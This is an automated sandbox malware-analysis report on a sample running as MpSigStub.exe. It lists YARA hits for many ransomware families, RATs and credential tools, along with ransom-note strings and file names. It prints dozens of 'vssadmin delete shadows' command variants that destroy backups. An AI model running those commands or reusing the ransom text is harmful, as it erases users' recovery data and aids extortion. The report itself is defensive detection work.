        Source: Yara matchFile source: 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected MegaCortex RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Cobra Locker ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected RekenSom ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Babuk RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Nemty RansomwareShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Clay RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Thanos ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected CryLock ransomwareShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected OCT RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Snatch RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Silvertor RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Annabelle RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Gocoder ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp, type: MEMORY
        Yara detected WannaRen ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Ryuk ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Zeoticus ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Porn RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected DarkSide RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected HiddenTear ransomwareShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected WormLocker RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Mailto ransomwareShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Voidcrypt RansomwareShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18323868678.0000015B1BD96000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected GoGoogle ransomwareShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Axiom RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Artemon RansomwareShow sources
        Source: Yara matchFile source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Covid19 RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected LokiLocker RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Cryptolocker ransomwareShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1c00879a.77.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b013bb2.54.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Marvel RansomwareShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Cute RansomwareShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b013bb2.54.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected 0x0M4R RansomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Amnesia ransomwareShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Found potential ransomware demand textShow sources
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: )Decrypting of your files is only possible
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: Decrypting of your files is only possible
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: )Decrypting of your files is only possible]
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.
        Deletes shadow drive data (may be related to ransomware)Show sources
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpBinary or memory string: vssadmindeleteshadows
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpBinary or memory string: vssadmin delete shadows /all /quiet
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpBinary or memory string: vssadmin delete shadows /all /for=
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpBinary or memory string: vssadmin delete shadows /all /quiet & wmic shadowcopy delete
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpBinary or memory string: Nvssadmin.exe Delete Shadows /All /Quiet
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpBinary or memory string: vssadmin delete shadows /all
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpBinary or memory string: vssadmin.exe Delete Shadows /All /Quiet
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpBinary or memory string: vssadmin.exe delete shadows /all /quiet
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpBinary or memory string: /c vssadmin.exe delete shadows /all /quiet
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpBinary or memory string: /c vssadmin.exe Delete Shadows /All /Quiet
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpBinary or memory string: T/c vssadmin.exe Delete Shadows /All /Quiet
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpBinary or memory string: vssadmin.exe vssadmin delete shadows / all / quiet
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpBinary or memory string: vssadmin Delete Shadows /all /quiet
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: /C vssadmin.exe delete shadows /all /quiet
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpBinary or memory string: /C vssadmin.exe delete shadows /all /quietx
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpBinary or memory string: vssadmin.exe delete shadows /all /Quiet
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpBinary or memory string: vssadmin.exedeleteshadows/all/quiet
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpBinary or memory string: %vssadmin.exedeleteshadows/all/quiet
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpBinary or memory string: cmd.exe /c vssadmin delete shadows /all /quiet
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpBinary or memory string: /c vssadmin.exe delete shadows /quiet /all
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: /C vssadmin Delete Shadows /Quiet /All
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: vssadmin delete shadows /All]
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpBinary or memory string: /c vssadmin.exe delete shadows /all /quiet]
        Source: MpSigStub.exe, 00000023.00000003.18293985930.0000015B1C0F1000.00000004.00000001.sdmpBinary or memory string: Nvssadmin.exe delete shadows /all /quiet
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpBinary or memory string: */c vssadmin.exe Delete Shadows /All /Quiet
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpBinary or memory string: vssadmindeleteshadows/all/quiet
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpBinary or memory string: !vssadmindeleteshadows/all/quiet
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpBinary or memory string: /c vssadmin.exe delete shadows
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: Fvssadmin delete shadows /all /quiet
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: #vssadmin delete shadows /all /quiet
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: /c vssadmin delete shadows /all /quiet]
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpBinary or memory string: cmd /c vssadmin delete shadows /all /quiet
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpBinary or memory string: 6vssadmin.exe delete shadows
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: vssadmin delete shadows
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpBinary or memory string: 'vssadmin.exe delete shadows /all /quiet
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpBinary or memory string: vssadmin delete shadows /for=c: /all /quiet
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpBinary or memory string: vssadmin delete shadows /for=d: /all /quiet
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpBinary or memory string: /C vssadmin delete shadows /all /quiet
        Found string related to ransomwareShow sources
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpBinary or memory string: &act=gettext&lang=
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpBinary or memory string: &encrypted=
        Modifies the hosts fileShow sources
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile written: C:\Windows\System32\drivers\etc\hostsJump to behavior
        May drop file containing decryption instructions (likely related to ransomware)Show sources
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpBinary or memory string: How to decrypt files.html
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpBinary or memory string: RESTORE_FILES.txt
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpBinary or memory string: HELP_instructions.html

        System Summary:

        barindex
        Potential malicious icon foundShow sources
        Source: initial sampleIcon embedded in PE file: bad icon match: 20047c7c70f0e004
        Malicious sample detected (through community Yara rule)Show sources
        Source: 35.3.MpSigStub.exe.15b1ad30826.62.raw.unpack, type: UNPACKEDPEMatched rule: Detects Fireball malware - file clearlog.dll Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1b9c89b2.43.raw.unpack, type: UNPACKEDPEMatched rule: Detects Derusbi Kernel Driver Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1a7d1391.177.raw.unpack, type: UNPACKEDPEMatched rule: Detects an executable encrypted with a 4 byte XOR (also used for Derusbi Trojan) Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1a7cea69.179.raw.unpack, type: UNPACKEDPEMatched rule: Detects an executable encrypted with a 4 byte XOR (also used for Derusbi Trojan) Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bb541e6.101.raw.unpack, type: UNPACKEDPEMatched rule: Detects DNSpionage Karkoff malware Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bb541e6.101.raw.unpack, type: UNPACKEDPEMatched rule: Hack Deep Panda - htran-exe Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bb541e6.101.raw.unpack, type: UNPACKEDPEMatched rule: Detects APT41 malware POISONPLUG Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bb541e6.101.raw.unpack, type: UNPACKEDPEMatched rule: Detects HOPLIGHT malware used by HiddenCobra APT group Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1c00879a.77.unpack, type: UNPACKEDPEMatched rule: Detect the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT Author: USG
        Source: 35.3.MpSigStub.exe.15b1c00879a.77.unpack, type: UNPACKEDPEMatched rule: Red Leaves C&C left in memory, use with Volatility / Rekall Author: David Cannings
        Source: 35.3.MpSigStub.exe.15b1b09d292.197.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.raw.unpack, type: UNPACKEDPEMatched rule: Detects Mini RAT malware Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1a7b2b8a.201.raw.unpack, type: UNPACKEDPEMatched rule: Detects OilRig malware Author: Eyal Sela
        Source: 35.3.MpSigStub.exe.15b1a7b2b8a.201.raw.unpack, type: UNPACKEDPEMatched rule: Rule to detect Duqu 2.0 samples Author: unknown
        Source: 35.3.MpSigStub.exe.15b1b09d292.124.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.raw.unpack, type: UNPACKEDPEMatched rule: Detects Mini RAT malware Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1b352d6a.96.raw.unpack, type: UNPACKEDPEMatched rule: HackTool_MSIL_SharPersist_2 Author: FireEye
        Source: 35.3.MpSigStub.exe.15b1c4ed472.82.raw.unpack, type: UNPACKEDPEMatched rule: Detects Pupy RAT Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1c4ed472.82.raw.unpack, type: UNPACKEDPEMatched rule: Detects Pupy backdoor Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bb549ea.103.raw.unpack, type: UNPACKEDPEMatched rule: Detects DNSpionage Karkoff malware Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bb549ea.103.raw.unpack, type: UNPACKEDPEMatched rule: Hack Deep Panda - htran-exe Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bb549ea.103.raw.unpack, type: UNPACKEDPEMatched rule: Detects APT41 malware POISONPLUG Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bb549ea.103.raw.unpack, type: UNPACKEDPEMatched rule: Detects HOPLIGHT malware used by HiddenCobra APT group Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bcea0d6.57.raw.unpack, type: UNPACKEDPEMatched rule: Identifies GoRat malware in memory based on strings. Author: FireEye
        Source: 35.3.MpSigStub.exe.15b1bcea0d6.51.raw.unpack, type: UNPACKEDPEMatched rule: Identifies GoRat malware in memory based on strings. Author: FireEye
        Source: 35.3.MpSigStub.exe.15b1b9ca5ba.42.raw.unpack, type: UNPACKEDPEMatched rule: Detects Derusbi Kernel Driver Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1c47d182.111.raw.unpack, type: UNPACKEDPEMatched rule: Detects Mimikatz strings Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1aab7177.152.unpack, type: UNPACKEDPEMatched rule: korlia Author: Nick Hoffman
        Source: 35.3.MpSigStub.exe.15b1b013bb2.54.unpack, type: UNPACKEDPEMatched rule: Detects destructive malware Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1a7b1586.200.raw.unpack, type: UNPACKEDPEMatched rule: Detects OilRig malware Author: Eyal Sela
        Source: 35.3.MpSigStub.exe.15b1a7b1586.200.raw.unpack, type: UNPACKEDPEMatched rule: Rule to detect Duqu 2.0 samples Author: unknown
        Source: 35.3.MpSigStub.exe.15b1ad1f44c.63.raw.unpack, type: UNPACKEDPEMatched rule: Detects Fireball malware - file clearlog.dll Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1b9c97b6.41.raw.unpack, type: UNPACKEDPEMatched rule: Detects Derusbi Kernel Driver Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPEMatched rule: Detects Mini RAT malware Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPEMatched rule: XOR loops from Sakula malware Author: David Cannings
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPEMatched rule: The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the \'.csproj\' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project. Author: FireEye
        Source: 35.3.MpSigStub.exe.15b1a7cfabd.178.raw.unpack, type: UNPACKEDPEMatched rule: Detects an executable encrypted with a 4 byte XOR (also used for Derusbi Trojan) Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1af1836e.68.unpack, type: UNPACKEDPEMatched rule: Detects OilRig malware Author: Eyal Sela (slightly modified by Florian Roth)
        Source: 35.3.MpSigStub.exe.15b1bcea0d6.215.raw.unpack, type: UNPACKEDPEMatched rule: Identifies GoRat malware in memory based on strings. Author: FireEye
        Source: 35.3.MpSigStub.exe.15b1c47e986.110.raw.unpack, type: UNPACKEDPEMatched rule: Detects Mimikatz strings Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1b2d20ac.231.raw.unpack, type: UNPACKEDPEMatched rule: Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1abe8b36.144.unpack, type: UNPACKEDPEMatched rule: dump_tool Author: @patrickrolsen
        Source: 35.3.MpSigStub.exe.15b1aab4af5.151.unpack, type: UNPACKEDPEMatched rule: korlia Author: Nick Hoffman
        Source: 35.3.MpSigStub.exe.15b1b354b6e.95.raw.unpack, type: UNPACKEDPEMatched rule: HackTool_MSIL_SharPersist_2 Author: FireEye
        Source: 35.3.MpSigStub.exe.15b1bb551ee.102.raw.unpack, type: UNPACKEDPEMatched rule: Detects DNSpionage Karkoff malware Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bb551ee.102.raw.unpack, type: UNPACKEDPEMatched rule: Hack Deep Panda - htran-exe Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bb551ee.102.raw.unpack, type: UNPACKEDPEMatched rule: Detects APT41 malware POISONPLUG Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bb551ee.102.raw.unpack, type: UNPACKEDPEMatched rule: Detects HOPLIGHT malware used by HiddenCobra APT group Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1b4cce16.210.unpack, type: UNPACKEDPEMatched rule: LogKext is an open source keylogger for Mac OS X, a product of FSB software. Author: @mimeframe
        Source: 35.3.MpSigStub.exe.15b1b4cce16.210.unpack, type: UNPACKEDPEMatched rule: Detects Mimikatz strings Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1b887722.80.unpack, type: UNPACKEDPEMatched rule: Detects Codoso APT Gh0st Malware Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1b887722.80.unpack, type: UNPACKEDPEMatched rule: Detects ISMDoor Backdoor Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1b4cce16.61.unpack, type: UNPACKEDPEMatched rule: LogKext is an open source keylogger for Mac OS X, a product of FSB software. Author: @mimeframe
        Source: 35.3.MpSigStub.exe.15b1b4cce16.61.unpack, type: UNPACKEDPEMatched rule: Detects Mimikatz strings Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1b4cce16.92.unpack, type: UNPACKEDPEMatched rule: LogKext is an open source keylogger for Mac OS X, a product of FSB software. Author: @mimeframe
        Source: 35.3.MpSigStub.exe.15b1b4cce16.92.unpack, type: UNPACKEDPEMatched rule: Detects Mimikatz strings Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPEMatched rule: Detects Mini RAT malware Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPEMatched rule: XOR loops from Sakula malware Author: David Cannings
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPEMatched rule: The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the \'.csproj\' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project. Author: FireEye
        Source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPEMatched rule: Detects Mini RAT malware Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPEMatched rule: XOR loops from Sakula malware Author: David Cannings
        Source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPEMatched rule: The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the \'.csproj\' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project. Author: FireEye
        Source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPEMatched rule: Mirage Identifying Strings Author: Seth Hardy
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: Detects Mini RAT malware Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: Detect the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT Author: USG
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: Detects a ZxShell - CN threat group Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: XOR loops from Sakula malware Author: David Cannings
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: Detects Mimikatz strings Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: APT_Backdoor_Win_GORAT_5 Author: FireEye
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: Identifies GoRat malware in memory based on strings. Author: FireEye
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the \'.csproj\' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project. Author: FireEye
